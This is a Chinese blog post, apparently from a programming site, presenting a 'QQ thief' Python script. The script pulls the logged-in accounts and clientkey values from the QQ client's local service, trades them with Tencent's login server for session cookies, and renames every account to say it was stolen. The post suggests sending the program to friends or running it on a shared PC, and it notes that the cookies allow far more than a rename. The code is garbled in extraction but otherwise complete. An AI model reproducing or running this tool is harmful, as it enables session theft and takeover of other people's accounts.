1. 程式人生 > >QQ大盜 - 巧用clientkey

QQ大盜 - 巧用clientkey

sid find 復雜 info tla style ID ken jar

場景:

1.將程序發給好友,好友打開 qq昵稱就會被秒改為”賬號已被盜“。

2.將程序運行在自己的電腦,讓那些隨意借用電腦看片聊天的室友產生一個覺悟:亂使用別人電腦很可能會泄露隱私。

思路:

通過數據包模擬網頁中的qq快速登錄,拿到登錄憑證(Cookie)修改qq昵稱 實現賬號被盜的假象。

1、local_token:

qq快速登錄是基於qq的客戶端實現的,qq客戶端啟動時會生成一個local_token(保存在本地的一個鑰匙),通過local_token訪問qq客戶端的本地服務器(4301端口)可以獲取到電腦上登錄的所有qq賬號。

2、clientkey:

僅僅知道qq賬號肯定是無法登錄的,還要拿clientkey。可以把clientkey理解成密碼,qq客戶端登錄成功時會生成這個值,每個成功登錄的賬號都有自己的clientkey 相互匹配,只要拿到賬號的clientkey就可以偷偷快速登錄了。

3、cookies:

前面兩步其實都是在本地網絡下完成的,驗證於qq客戶端的本地服務器。現在提交uin+clientkey模擬快速登錄是需要騰訊的遠程服務器來驗證的,驗證通過就可以拿到登錄憑證了(Cookies)。

4、ldw:

通過前幾步我們已經拿到登錄憑證了,可以為所欲為訪問騰訊所有web端的服務了,現在我想修改賬號的昵稱。

我選擇了通過qq個人中心的一個接口修改昵稱,這個接口需要一個ldw值,並不復雜,一個get請求就能拿到。

實現:

以下使用python編程語言操作。

from urllib import request
from http import cookiejar
import
json import re opener=None cookie=None local_token=None json_uins=None def modNick(index,nick): clientuin=json_uins[index][account] clientkey=None ldw=None #拿到clientkey url = https://localhost.ptlogin2.qq.com:4301/pt_get_st?clientuin=+clientuin+&callback=ptui_getst_CB&r=0.810010167110566&pt_local_tk=
+ local_token opener.open(url) for item in cookie: if (item.name == clientkey): clientkey = item.value break #登錄 url=https://ssl.ptlogin2.qq.com/qqid?pt_clientver=5563&pt_src=1&keyindex=9&sid=5&ptlang=2052&clientuin=+clientuin+&clientkey=+clientkey opener.open(url) #拿到ldw url="http://id.qq.com/cgi-bin/get_base_key?r=0.9431299830075388" opener.open(url) for item in cookie: if (item.name == ldw): ldw = item.value break #修改昵稱 url = http://id.qq.com/cgi-bin/userinfo_mod data = &n= + nick + &ldw= + ldw res = opener.open(url, bytes(data, utf-8)) data = res.read() if __name__==__main__: #opener初始化 cookie=cookiejar.CookieJar() opener=request.build_opener(request.HTTPCookieProcessor(cookie)) opener.addheaders = [(Referer,https://xui.ptlogin2.qq.com)] #拿到local_token url=https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=1006102&daid=1&style=23&hide_border=1&proxy_url=http%3A%2F%2Fid.qq.com%2Flogin%2Fproxy.html&s_url=http://id.qq.com/index.html opener.open(url) for item in cookie: if(item.name == pt_local_token): local_token=item.value break #拿到uins url=https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&r=0.21624413130736064&pt_local_tk=+local_token res=opener.open(url) json_uins=json.loads(re.compile(var var_sso_uin_list=(.*?);).findall(str(res.read(),utf-8))[0]) #修改昵稱 for index in range(0,len(json_uins)): modNick(index, 帳號已被盜!)

最後說幾句:

改個昵稱啥的都是小事情,拿到Cookies可以做到的事情太多了。請以自我娛樂的意識去研究擴展,不要幹擾影響他人網絡環境。

QQ大盜 - 巧用clientkey